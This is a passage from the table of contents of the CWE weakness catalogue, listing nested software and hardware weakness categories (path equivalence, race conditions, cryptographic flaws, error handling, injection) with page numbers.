  - CWE-41: Improper Resolution of Path Equivalence *(p.81)*
    - CWE-42: Path Equivalence: 'filename.' (Trailing Dot) *(p.87)*
      - CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot) *(p.88)*
    - CWE-44: Path Equivalence: 'file.name' (Internal Dot) *(p.89)*
      - CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot) *(p.90)*
    - CWE-46: Path Equivalence: 'filename ' (Trailing Space) *(p.90)*
    - CWE-47: Path Equivalence: ' filename' (Leading Space) *(p.92)*
    - CWE-48: Path Equivalence: 'file name' (Internal Whitespace) *(p.93)*
    - CWE-49: Path Equivalence: 'filename/' (Trailing Slash) *(p.94)*
    - CWE-50: Path Equivalence: '//multiple/leading/slash' *(p.95)*
    - CWE-51: Path Equivalence: '/multiple//internal/slash' *(p.96)*
    - CWE-52: Path Equivalence: '/multiple/trailing/slash//' *(p.97)*
    - CWE-53: Path Equivalence: '\multiple\\internal\backslash' *(p.98)*
    - CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash) *(p.99)*
    - CWE-55: Path Equivalence: '/./' (Single Dot Directory) *(p.100)*
    - CWE-56: Path Equivalence: 'filedir*' (Wildcard) *(p.102)*
    - CWE-57: Path Equivalence: 'fakedir/../realdir/filename' *(p.103)*
    - CWE-58: Path Equivalence: Windows 8.3 Filename *(p.104)*
  - CWE-59: Improper Link Resolution Before File Access ('Link Following') *(p.106)*
    - CWE-61: UNIX Symbolic Link (Symlink) Following *(p.110)*
    - CWE-62: UNIX Hard Link *(p.112)*
    - CWE-64: Windows Shortcut Following (.LNK) *(p.114)*
    - CWE-65: Windows Hard Link *(p.116)*
  - CWE-66: Improper Handling of File Names that Identify Virtual Resources *(p.118)*

- CWE-67: Improper Handling of Windows Device Names *(p.120)*
- CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream *(p.122)*
- CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path *(p.124)*
- CWE-827: Improper Control of Document Type Definition *(p.1527)*
- CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') *(p.217)*

- CWE-749: Exposed Dangerous Method or Function *(p.1377)*
  - CWE-618: Exposed Unsafe ActiveX Method *(p.1226)*
  - CWE-782: Exposed IOCTL with Insufficient Access Control *(p.1451)*
- CWE-911: Improper Update of Reference Count *(p.1585)*
- CWE-913: Improper Control of Dynamically-Managed Code Resources *(p.1588)*
  - CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') *(p.996)*
  - CWE-502: Deserialization of Untrusted Data *(p.1072)*
  - CWE-914: Improper Control of Dynamically-Identified Variables *(p.1589)*
    - CWE-621: Variable Extraction Error *(p.1231)*
    - CWE-627: Dynamic Variable Evaluation *(p.1241)*
  - CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes *(p.1591)*
  - CWE-94: Improper Control of Generation of Code ('Code Injection') *(p.204)*
    - CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') *(p.209)*
    - CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') *(p.213)*
      - CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page *(p.216)*
- CWE-922: Insecure Storage of Sensitive Information *(p.1603)*
  - CWE-312: Cleartext Storage of Sensitive Information *(p.693)*
    - CWE-313: Cleartext Storage in a File or on Disk *(p.697)*
    - CWE-314: Cleartext Storage in the Registry *(p.699)*
    - CWE-315: Cleartext Storage of Sensitive Information in a Cookie *(p.700)*
    - CWE-316: Cleartext Storage of Sensitive Information in Memory *(p.702)*
    - CWE-317: Cleartext Storage of Sensitive Information in GUI *(p.703)*
    - CWE-318: Cleartext Storage of Sensitive Information in Executable *(p.704)*
  - CWE-921: Storage of Sensitive Data in a Mechanism without Access Control *(p.1602)*

- CWE-682: Incorrect Calculation *(p.1326)*
  - CWE-128: Wrap-around Error *(p.309)*
  - CWE-131: Incorrect Calculation of Buffer Size *(p.325)*
  - CWE-135: Incorrect Calculation of Multi-Byte String Length *(p.339)*
  - CWE-190: Integer Overflow or Wraparound *(p.437)*
  - CWE-191: Integer Underflow (Wrap or Wraparound) *(p.444)*
  - CWE-193: Off-by-one Error *(p.449)*
  - CWE-369: Divide By Zero *(p.818)*
  - CWE-467: Use of sizeof() on a Pointer Type *(p.989)*
  - CWE-468: Incorrect Pointer Scaling *(p.992)*
  - CWE-469: Use of Pointer Subtraction to Determine Size *(p.994)*
- CWE-691: Insufficient Control Flow Management *(p.1342)*
  - CWE-1265: Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls *(p.1802)*
  - CWE-1281: Sequence of Processor Instructions Leads to Unexpected Behavior (Halt and Catch Fire) *(p.1833)*
  - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') *(p.793)*
    - CWE-1223: Race Condition for Write-Once Attributes *(p.1741)*
    - CWE-364: Signal Handler Race Condition *(p.802)*
      - CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations *(p.932)*
      - CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe *(p.1528)*
        - CWE-479: Signal Handler Use of a Non-reentrant Function *(p.1021)*

- CWE-831: Signal Handler Function Associated with Multiple Signals *(p.1539)*
- CWE-366: Race Condition within a Thread *(p.809)*
- CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition *(p.812)*
  - CWE-363: Race Condition Enabling Link Following *(p.801)*
  - CWE-365: Race Condition in Switch *(p.807)*
- CWE-368: Context Switching Race Condition *(p.816)*
- CWE-421: Race Condition During Access to Alternate Channel *(p.911)*

- CWE-430: Deployment of Wrong Handler *(p.929)*
- CWE-431: Missing Handler *(p.931)*
- CWE-623: Unsafe ActiveX Control Marked Safe For Scripting *(p.1234)*
- CWE-662: Improper Synchronization *(p.1288)*
  - CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element *(p.1660)*
  - CWE-663: Use of a Non-reentrant Function in a Concurrent Context *(p.1290)*
    - CWE-479: Signal Handler Use of a Non-reentrant Function *(p.1021)*
    - CWE-558: Use of getlogin() in Multithreaded Application *(p.1130)*
  - CWE-667: Improper Locking *(p.1299)*
    - CWE-1232: Improper Lock Behavior After Power State Transition *(p.1748)*
    - CWE-1233: Improper Hardware Lock Protection for Security Sensitive Controls *(p.1750)*
    - CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks *(p.1751)*
    - CWE-412: Unrestricted Externally Accessible Lock *(p.893)*
    - CWE-413: Improper Resource Locking *(p.896)*
      - CWE-591: Sensitive Data Storage in Improperly Locked Memory *(p.1182)*
    - CWE-414: Missing Lock Check *(p.900)*
    - CWE-609: Double-Checked Locking *(p.1211)*
    - CWE-764: Multiple Locks of a Critical Resource *(p.1413)*
    - CWE-765: Multiple Unlocks of a Critical Resource *(p.1414)*
    - CWE-832: Unlock of a Resource that is not Locked *(p.1542)*
    - CWE-833: Deadlock *(p.1543)*
  - CWE-820: Missing Synchronization *(p.1512)*
    - CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization *(p.1696)*
    - CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context *(p.1115)*
    - CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context *(p.1144)*
  - CWE-821: Incorrect Synchronization *(p.1514)*
    - CWE-1088: Synchronous Access of Remote Resource without Timeout *(p.1688)*
    - CWE-1264: Hardware Logic with Insecure De-Synchronization between Control and Data Channels *(p.1800)*
    - CWE-572: Call to Thread run() instead of start() *(p.1152)*
    - CWE-574: EJB Bad Practices: Use of Synchronization Primitives *(p.1155)*
- CWE-670: Always-Incorrect Control Flow Implementation *(p.1308)*
  - CWE-480: Use of Incorrect Operator *(p.1023)*
    - CWE-481: Assigning instead of Comparing *(p.1026)*
    - CWE-482: Comparing instead of Assigning *(p.1029)*
    - CWE-597: Use of Wrong Operator in String Comparison *(p.1189)*
  - CWE-483: Incorrect Block Delimitation *(p.1032)*
  - CWE-484: Omitted Break Statement in Switch *(p.1034)*
  - CWE-617: Reachable Assertion *(p.1224)*
  - CWE-698: Execution After Redirect (EAR) *(p.1353)*
  - CWE-783: Operator Precedence Logic Error *(p.1453)*
- CWE-674: Uncontrolled Recursion *(p.1314)*
  - CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') *(p.1440)*
- CWE-696: Incorrect Behavior Order *(p.1348)*
  - CWE-1190: DMA Device Enabled Too Early in Boot Phase *(p.1728)*

- CWE-1193: Power-On of Untrusted Execution Core Before Enabling Fabric Access Control *(p.1732)*
- CWE-1280: Access Control Check Implemented After Asset is Accessed *(p.1831)*
- CWE-179: Incorrect Behavior Order: Early Validation *(p.414)*
  - CWE-180: Incorrect Behavior Order: Validate Before Canonicalize *(p.417)*
  - CWE-181: Incorrect Behavior Order: Validate Before Filter *(p.420)*
- CWE-408: Incorrect Behavior Order: Early Amplification *(p.888)*
- CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization *(p.1124)*

- CWE-705: Incorrect Control Flow Scoping *(p.1359)*
  - CWE-248: Uncaught Exception *(p.545)*
    - CWE-600: Uncaught Exception in Servlet *(p.1193)*
  - CWE-382: J2EE Bad Practices: Use of System.exit() *(p.836)*
  - CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference *(p.857)*
  - CWE-396: Declaration of Catch for Generic Exception *(p.860)*
  - CWE-397: Declaration of Throws for Generic Exception *(p.862)*
  - CWE-455: Non-exit on Failed Initialization *(p.969)*
  - CWE-584: Return Inside Finally Block *(p.1171)*
  - CWE-698: Execution After Redirect (EAR) *(p.1353)*
- CWE-749: Exposed Dangerous Method or Function *(p.1377)*
  - CWE-618: Exposed Unsafe ActiveX Method *(p.1226)*
  - CWE-782: Exposed IOCTL with Insufficient Access Control *(p.1451)*
- CWE-768: Incorrect Short Circuit Evaluation *(p.1420)*
- CWE-799: Improper Control of Interaction Frequency *(p.1494)*
  - CWE-307: Improper Restriction of Excessive Authentication Attempts *(p.678)*
  - CWE-837: Improper Enforcement of a Single, Unique Action *(p.1550)*
- CWE-834: Excessive Iteration *(p.1544)*
  - CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') *(p.1546)*
- CWE-841: Improper Enforcement of Behavioral Workflow *(p.1559)*
- CWE-94: Improper Control of Generation of Code ('Code Injection') *(p.204)*
  - CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') *(p.209)*
  - CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') *(p.213)*
    - CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page *(p.216)*

- CWE-693: Protection Mechanism Failure *(p.1344)*
  - CWE-1039: Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations *(p.1642)*
  - CWE-1248: Semiconductor Defects in Hardware Logic with Security-Sensitive Implications *(p.1773)*
  - CWE-1253: Incorrect Selection of Fuse Values *(p.1782)*
  - CWE-1263: Insufficient Physical Protection Mechanism *(p.1798)*
  - CWE-1269: Product Released in Non-Release Configuration *(p.1810)*
  - CWE-1278: Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques *(p.1827)*
  - CWE-182: Collapse of Data into Unsafe Value *(p.422)*
  - CWE-184: Incomplete List of Disallowed Inputs *(p.425)*
  - CWE-311: Missing Encryption of Sensitive Data *(p.686)*
    - CWE-312: Cleartext Storage of Sensitive Information *(p.693)*
      - CWE-313: Cleartext Storage in a File or on Disk *(p.697)*
      - CWE-314: Cleartext Storage in the Registry *(p.699)*
      - CWE-315: Cleartext Storage of Sensitive Information in a Cookie *(p.700)*
      - CWE-316: Cleartext Storage of Sensitive Information in Memory *(p.702)*
      - CWE-317: Cleartext Storage of Sensitive Information in GUI *(p.703)*
      - CWE-318: Cleartext Storage of Sensitive Information in Executable *(p.704)*
    - CWE-319: Cleartext Transmission of Sensitive Information *(p.705)*
      - CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption *(p.1)*
    - CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute *(p.1220)*

- CWE-326: Inadequate Encryption Strength *(p.718)*
  - CWE-261: Weak Encoding for Password *(p.575)*
  - CWE-328: Reversible One-Way Hash *(p.726)*
- CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p.720)*
  - CWE-1240: Use of a Risky Cryptographic Primitive *(p.1759)*
  - CWE-328: Reversible One-Way Hash *(p.726)*
  - CWE-780: Use of RSA Algorithm without OAEP *(p.1448)*
  - CWE-916: Use of Password Hash With Insufficient Computational Effort *(p.1594)*
    - CWE-759: Use of a One-Way Hash without a Salt *(p.1395)*
    - CWE-760: Use of a One-Way Hash with a Predictable Salt *(p.1399)*
- CWE-330: Use of Insufficiently Random Values *(p.730)*
  - CWE-1241: Use of Predictable Algorithm in Random Number Generator *(p.1761)*
  - CWE-329: Not Using a Random IV with CBC Mode *(p.729)*
  - CWE-331: Insufficient Entropy *(p.736)*
    - CWE-332: Insufficient Entropy in PRNG *(p.739)*
    - CWE-333: Improper Handling of Insufficient Entropy in TRNG *(p.740)*
  - CWE-334: Small Space of Random Values *(p.742)*
    - CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length *(p.2)*
  - CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) *(p.744)*
    - CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG) *(p.745)*
    - CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG) *(p.747)*
    - CWE-339: Small Seed Space in PRNG *(p.751)*
  - CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) *(p.748)*
  - CWE-340: Generation of Predictable Numbers or Identifiers *(p.752)*
    - CWE-341: Predictable from Observable State *(p.753)*
    - CWE-342: Predictable Exact Value from Previous Values *(p.755)*
    - CWE-343: Predictable Value Range from Previous Values *(p.756)*
  - CWE-344: Use of Invariant Value in Dynamically Changing Context *(p.757)*
    - CWE-323: Reusing a Nonce, Key Pair in Encryption *(p.713)*
    - CWE-587: Assignment of a Fixed Address to a Pointer *(p.1175)*
    - CWE-798: Use of Hard-coded Credentials *(p.1486)*
      - CWE-259: Use of Hard-coded Password *(p.569)*
      - CWE-321: Use of Hard-coded Cryptographic Key *(p.709)*
  - CWE-804: Guessable CAPTCHA *(p.1495)*
- CWE-345: Insufficient Verification of Data Authenticity *(p.758)*
  - CWE-346: Origin Validation Error *(p.760)*
  - CWE-347: Improper Verification of Cryptographic Signature *(p.764)*
  - CWE-348: Use of Less Trusted Source *(p.765)*
  - CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data *(p.768)*
  - CWE-351: Insufficient Type Distinction *(p.772)*
  - CWE-352: Cross-Site Request Forgery (CSRF) *(p.773)*
  - CWE-353: Missing Support for Integrity Check *(p.780)*
  - CWE-354: Improper Validation of Integrity Check Value *(p.782)*
  - CWE-360: Trust of System Event Data *(p.792)*
    - CWE-422: Unprotected Windows Messaging Channel ('Shatter') *(p.912)*
  - CWE-616: Incomplete Identification of Uploaded File Variables (PHP) *(p.1223)*
  - CWE-646: Reliance on File Name or Extension of Externally-Supplied File *(p.1268)*
  - CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking *(p.1273)*
  - CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel *(p.1606)*
- CWE-357: Insufficient UI Warning of Dangerous Operations *(p.785)*
  - CWE-450: Multiple Interpretations of UI Input *(p.961)*
- CWE-358: Improperly Implemented Security Check for Standard *(p.786)*
- CWE-424: Improper Protection of Alternate Path *(p.914)*
  - CWE-425: Direct Request ('Forced Browsing') *(p.915)*

- CWE-602: Client-Side Enforcement of Server-Side Security *(p.1200)*
  - CWE-565: Reliance on Cookies without Validation and Integrity Checking *(p.1140)*
    - CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision *(p.1456)*
  - CWE-603: Use of Client-Side Authentication *(p.1204)*
- CWE-653: Insufficient Compartmentalization *(p.1279)*
- CWE-654: Reliance on a Single Factor in a Security Decision *(p.1281)*
  - CWE-308: Use of Single-factor Authentication *(p.682)*
  - CWE-309: Use of Password System for Primary Authentication *(p.684)*
- CWE-655: Insufficient Psychological Acceptability *(p.1283)*
- CWE-656: Reliance on Security Through Obscurity *(p.1285)*
- CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') *(p.1392)*
- CWE-778: Insufficient Logging *(p.1444)*
- CWE-807: Reliance on Untrusted Inputs in a Security Decision *(p.1507)*
  - CWE-302: Authentication Bypass by Assumed-Immutable Data *(p.668)*
  - CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action *(p.769)*
  - CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision *(p.1456)*

CWE-697: Incorrect Comparison *(p.1350)*

- CWE-1023: Incomplete Comparison with Missing Factors *(p.1635)*
  - CWE-184: Incomplete List of Disallowed Inputs *(p.425)*
  - CWE-187: Partial String Comparison *(p.432)*
  - CWE-478: Missing Default Case in Switch Statement *(p.1018)*
  - CWE-839: Numeric Range Comparison Without Minimum Check *(p.1554)*
- CWE-1024: Comparison of Incompatible Types *(p.1637)*
- CWE-1025: Comparison Using Wrong Factors *(p.1638)*
  - CWE-486: Comparison of Classes by Name *(p.1036)*
  - CWE-595: Comparison of Object References Instead of Object Contents *(p.1187)*
    - CWE-597: Use of Wrong Operator in String Comparison *(p.1189)*
- CWE-1039: Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations *(p.1642)*
- CWE-1077: Floating Point Comparison with Incorrect Operator *(p.1678)*
- CWE-1254: Incorrect Comparison Logic Granularity *(p.1783)*
- CWE-183: Permissive List of Allowed Inputs *(p.424)*
  - CWE-942: Permissive Cross-domain Policy with Untrusted Domains *(p.1621)*
- CWE-185: Incorrect Regular Expression *(p.429)*
  - CWE-186: Overly Restrictive Regular Expression *(p.431)*
  - CWE-625: Permissive Regular Expression *(p.1237)*
    - CWE-777: Regular Expression without Anchors *(p.1443)*
- CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined *(p.1167)*

CWE-703: Improper Check or Handling of Exceptional Conditions *(p.1355)*

- CWE-1247: Missing Protection Against Voltage and Clock Glitches *(p.1770)*
- CWE-166: Improper Handling of Missing Special Element *(p.390)*
- CWE-167: Improper Handling of Additional Special Element *(p.392)*
- CWE-168: Improper Handling of Inconsistent Special Elements *(p.394)*
- CWE-228: Improper Handling of Syntactically Invalid Structure *(p.519)*
  - CWE-229: Improper Handling of Values *(p.521)*
    - CWE-230: Improper Handling of Missing Values *(p.521)*
    - CWE-231: Improper Handling of Extra Values *(p.523)*
    - CWE-232: Improper Handling of Undefined Values *(p.524)*
  - CWE-233: Improper Handling of Parameters *(p.525)*
    - CWE-234: Failure to Handle Missing Parameter *(p.526)*
    - CWE-235: Improper Handling of Extra Parameters *(p.529)*
    - CWE-236: Improper Handling of Undefined Parameters *(p.530)*
  - CWE-237: Improper Handling of Structural Elements *(p.531)*
    - CWE-238: Improper Handling of Incomplete Structural Elements *(p.531)*

- CWE-239: Failure to Handle Incomplete Element *(p.532)*
- CWE-240: Improper Handling of Inconsistent Structural Elements *(p.533)*
  - CWE-130: Improper Handling of Length Parameter Inconsistency *(p.321)*
- CWE-241: Improper Handling of Unexpected Data Type *(p.534)*

- CWE-248: Uncaught Exception *(p.545)*
  - CWE-600: Uncaught Exception in Servlet *(p.1193)*
- CWE-274: Improper Handling of Insufficient Privileges *(p.604)*
- CWE-333: Improper Handling of Insufficient Entropy in TRNG *(p.740)*
- CWE-391: Unchecked Error Condition *(p.850)*
- CWE-392: Missing Report of Error Condition *(p.853)*
- CWE-393: Return of Wrong Status Code *(p.854)*
- CWE-397: Declaration of Throws for Generic Exception *(p.862)*
- CWE-754: Improper Check for Unusual or Exceptional Conditions *(p.1381)*
  - CWE-252: Unchecked Return Value *(p.553)*
  - CWE-253: Incorrect Check of Function Return Value *(p.560)*
  - CWE-273: Improper Check for Dropped Privileges *(p.601)*
  - CWE-354: Improper Validation of Integrity Check Value *(p.782)*
  - CWE-394: Unexpected Status Code or Return Value *(p.856)*
  - CWE-476: NULL Pointer Dereference *(p.1009)*
    - CWE-690: Unchecked Return Value to NULL Pointer Dereference *(p.1339)*
- CWE-755: Improper Handling of Exceptional Conditions *(p.1389)*
  - CWE-1261: Improper Handling of Single Event Upsets *(p.1795)*
  - CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
    - CWE-210: Self-generated Error Message Containing Sensitive Information *(p.496)*
    - CWE-211: Externally-Generated Error Message Containing Sensitive Information *(p.498)*
      - CWE-535: Exposure of Information Through Shell Error Message *(p.1107)*
      - CWE-536: Servlet Runtime Error Message Containing Sensitive Information *(p.1108)*
      - CWE-537: Java Runtime Error Message Containing Sensitive Information *(p.1109)*
    - CWE-550: Server-generated Error Message Containing Sensitive Information *(p.1123)*
  - CWE-280: Improper Handling of Insufficient Permissions or Privileges *(p.613)*
  - CWE-390: Detection of Error Condition Without Action *(p.845)*
  - CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference *(p.857)*
  - CWE-396: Declaration of Catch for Generic Exception *(p.860)*
  - CWE-460: Improper Cleanup on Thrown Exception *(p.981)*
  - CWE-544: Missing Standardized Error Handling Mechanism *(p.1117)*
  - CWE-636: Not Failing Securely ('Failing Open') *(p.1245)*
    - CWE-455: Non-exit on Failed Initialization *(p.969)*
  - CWE-756: Missing Custom Error Page *(p.1390)*
    - CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page *(p.11)*
    - CWE-7: J2EE Misconfiguration: Missing Custom Error Page *(p.4)*

CWE-707: Improper Neutralization *(p.1362)*

- CWE-116: Improper Encoding or Escaping of Output *(p.260)*
  - CWE-117: Improper Output Neutralization for Logs *(p.266)*
  - CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax *(p.1265)*
  - CWE-838: Inappropriate Encoding for Output Context *(p.1551)*
- CWE-138: Improper Neutralization of Special Elements *(p.342)*
  - CWE-140: Improper Neutralization of Delimiters *(p.345)*
    - CWE-141: Improper Neutralization of Parameter/Argument Delimiters *(p.346)*
    - CWE-142: Improper Neutralization of Value Delimiters *(p.348)*
    - CWE-143: Improper Neutralization of Record Delimiters *(p.350)*
    - CWE-144: Improper Neutralization of Line Delimiters *(p.351)*
    - CWE-145: Improper Neutralization of Section Delimiters *(p.353)*
    - CWE-146: Improper Neutralization of Expression/Command Delimiters *(p.355)*
  - CWE-147: Improper Neutralization of Input Terminators *(p.357)*
    - CWE-626: Null Byte Interaction Error (Poison Null Byte) *(p.1239)*

- CWE-148: Improper Neutralization of Input Leaders *(p.359)*
- CWE-149: Improper Neutralization of Quoting Syntax *(p.360)*
- CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences *(p.362)*
- CWE-151: Improper Neutralization of Comment Delimiters *(p.364)*
- CWE-152: Improper Neutralization of Macro Symbols *(p.366)*
- CWE-153: Improper Neutralization of Substitution Characters *(p.368)*
- CWE-154: Improper Neutralization of Variable Name Delimiters *(p.369)*
- CWE-155: Improper Neutralization of Wildcards or Matching Symbols *(p.371)*
  - CWE-56: Path Equivalence: 'filedir*' (Wildcard) *(p.102)*
- CWE-156: Improper Neutralization of Whitespace *(p.373)*
- CWE-157: Failure to Sanitize Paired Delimiters *(p.375)*
- CWE-158: Improper Neutralization of Null Byte or NUL Character *(p.377)*
- CWE-159: Improper Handling of Invalid Use of Special Elements *(p.379)*
  - CWE-166: Improper Handling of Missing Special Element *(p.390)*
  - CWE-167: Improper Handling of Additional Special Element *(p.392)*
  - CWE-168: Improper Handling of Inconsistent Special Elements *(p.394)*
- CWE-160: Improper Neutralization of Leading Special Elements *(p.381)*
  - CWE-161: Improper Neutralization of Multiple Leading Special Elements *(p.383)*
    - CWE-50: Path Equivalence: '//multiple/leading/slash' *(p.95)*
  - CWE-37: Path Traversal: '/absolute/pathname/here' *(p.73)*
- CWE-162: Improper Neutralization of Trailing Special Elements *(p.384)*
  - CWE-163: Improper Neutralization of Multiple Trailing Special Elements *(p.386)*
    - CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot) *(p.88)*
    - CWE-52: Path Equivalence: '/multiple/trailing/slash//' *(p.97)*
  - CWE-42: Path Equivalence: 'filename.' (Trailing Dot) *(p.87)*
    - CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot) *(p.88)*
  - CWE-46: Path Equivalence: 'filename ' (Trailing Space) *(p.90)*
  - CWE-49: Path Equivalence: 'filename/' (Trailing Slash) *(p.94)*
  - CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash) *(p.99)*
- CWE-164: Improper Neutralization of Internal Special Elements *(p.387)*
  - CWE-165: Improper Neutralization of Multiple Internal Special Elements *(p.389)*
    - CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot) *(p.90)*
    - CWE-53: Path Equivalence: '\multiple\\internal\backslash' *(p.98)*
- CWE-464: Addition of Data Structure Sentinel *(p.986)*
- CWE-790: Improper Filtering of Special Elements *(p.1476)*
  - CWE-791: Incomplete Filtering of Special Elements *(p.1478)*
    - CWE-792: Incomplete Filtering of One or More Instances of Special Elements *(p.1479)*
      - CWE-793: Only Filtering One Instance of a Special Element *(p.1480)*
      - CWE-794: Incomplete Filtering of Multiple Instances of Special Elements *(p.1481)*
    - CWE-795: Only Filtering Special Elements at a Specified Location *(p.1483)*
      - CWE-796: Only Filtering Special Elements Relative to a Marker *(p.1484)*
      - CWE-797: Only Filtering Special Elements at an Absolute Position *(p.1485)*
- CWE-170: Improper Null Termination *(p.395)*
- CWE-172: Encoding Error *(p.399)*
  - CWE-173: Improper Handling of Alternate Encoding *(p.401)*
  - CWE-174: Double Decoding of the Same Data *(p.403)*
  - CWE-175: Improper Handling of Mixed Encoding *(p.405)*
  - CWE-176: Improper Handling of Unicode Encoding *(p.407)*
  - CWE-177: Improper Handling of URL Encoding (Hex Encoding) *(p.409)*
- CWE-20: Improper Input Validation *(p.19)*
  - CWE-1173: Improper Use of Validation Framework *(p.1722)*
    - CWE-102: Struts: Duplicate Validation Forms *(p.227)*
    - CWE-105: Struts: Form Field Without Validator *(p.234)*
    - CWE-106: Struts: Plug-in Framework not in Use *(p.237)*
    - CWE-108: Struts: Unvalidated Action Form *(p.242)*

- CWE-109: Struts: Validator Turned Off *(p.243)*
- CWE-1174: ASP.NET Misconfiguration: Improper Model Validation *(p.1723)*
- CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework *(p.1127)*

CWE-1284: Improper Validation of Specified Quantity in Input *(p.1837)*
- CWE-606: Unchecked Input for Loop Condition *(p.1207)*
- CWE-789: Uncontrolled Memory Allocation *(p.1474)*

CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input *(p.1839)*
- CWE-129: Improper Validation of Array Index *(p.312)*
- CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code *(p.1449)*

CWE-1286: Improper Validation of Syntactic Correctness of Input *(p.1843)*
- CWE-112: Missing XML Validation *(p.249)*

CWE-1287: Improper Validation of Specified Type of Input *(p.1844)*

CWE-1288: Improper Validation of Consistency within Input *(p.1845)*

CWE-1289: Improper Validation of Unsafe Equivalence in Input *(p.1847)*

CWE-179: Incorrect Behavior Order: Early Validation *(p.414)*
- CWE-180: Incorrect Behavior Order: Validate Before Canonicalize *(p.417)*
- CWE-181: Incorrect Behavior Order: Validate Before Filter *(p.420)*

CWE-622: Improper Validation of Function Hook Arguments *(p.1233)*

CWE-228: Improper Handling of Syntactically Invalid Structure *(p.519)*

CWE-229: Improper Handling of Values *(p.521)*
- CWE-230: Improper Handling of Missing Values *(p.521)*
- CWE-231: Improper Handling of Extra Values *(p.523)*
- CWE-232: Improper Handling of Undefined Values *(p.524)*

CWE-233: Improper Handling of Parameters *(p.525)*
- CWE-234: Failure to Handle Missing Parameter *(p.526)*
- CWE-235: Improper Handling of Extra Parameters *(p.529)*
- CWE-236: Improper Handling of Undefined Parameters *(p.530)*

CWE-237: Improper Handling of Structural Elements *(p.531)*
- CWE-238: Improper Handling of Incomplete Structural Elements *(p.531)*
- CWE-239: Failure to Handle Incomplete Element *(p.532)*
- CWE-240: Improper Handling of Inconsistent Structural Elements *(p.533)*
  - CWE-130: Improper Handling of Length Parameter Inconsistency *(p.321)*

CWE-241: Improper Handling of Unexpected Data Type *(p.534)*

CWE-240: Improper Handling of Inconsistent Structural Elements *(p.533)*

CWE-130: Improper Handling of Length Parameter Inconsistency *(p.321)*

CWE-463: Deletion of Data Structure Sentinel *(p.984)*

CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') *(p.130)*

CWE-1236: Improper Neutralization of Formula Elements in a CSV File *(p.1756)*

CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) *(p.134)*
- CWE-76: Improper Neutralization of Equivalent Special Elements *(p.135)*

CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') *(p.136)*
- CWE-624: Executable Regular Expression Error *(p.1236)*
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
- CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') *(p.181)*
- CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') *(p.1598)*

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*
- CWE-692: Incomplete Denylist to Cross-Site Scripting *(p.1343)*
- CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) *(p.165)*

- CWE-81: Improper Neutralization of Script in an Error Message Web Page *(p.167)*
- CWE-83: Improper Neutralization of Script in Attributes in a Web Page *(p.171)*
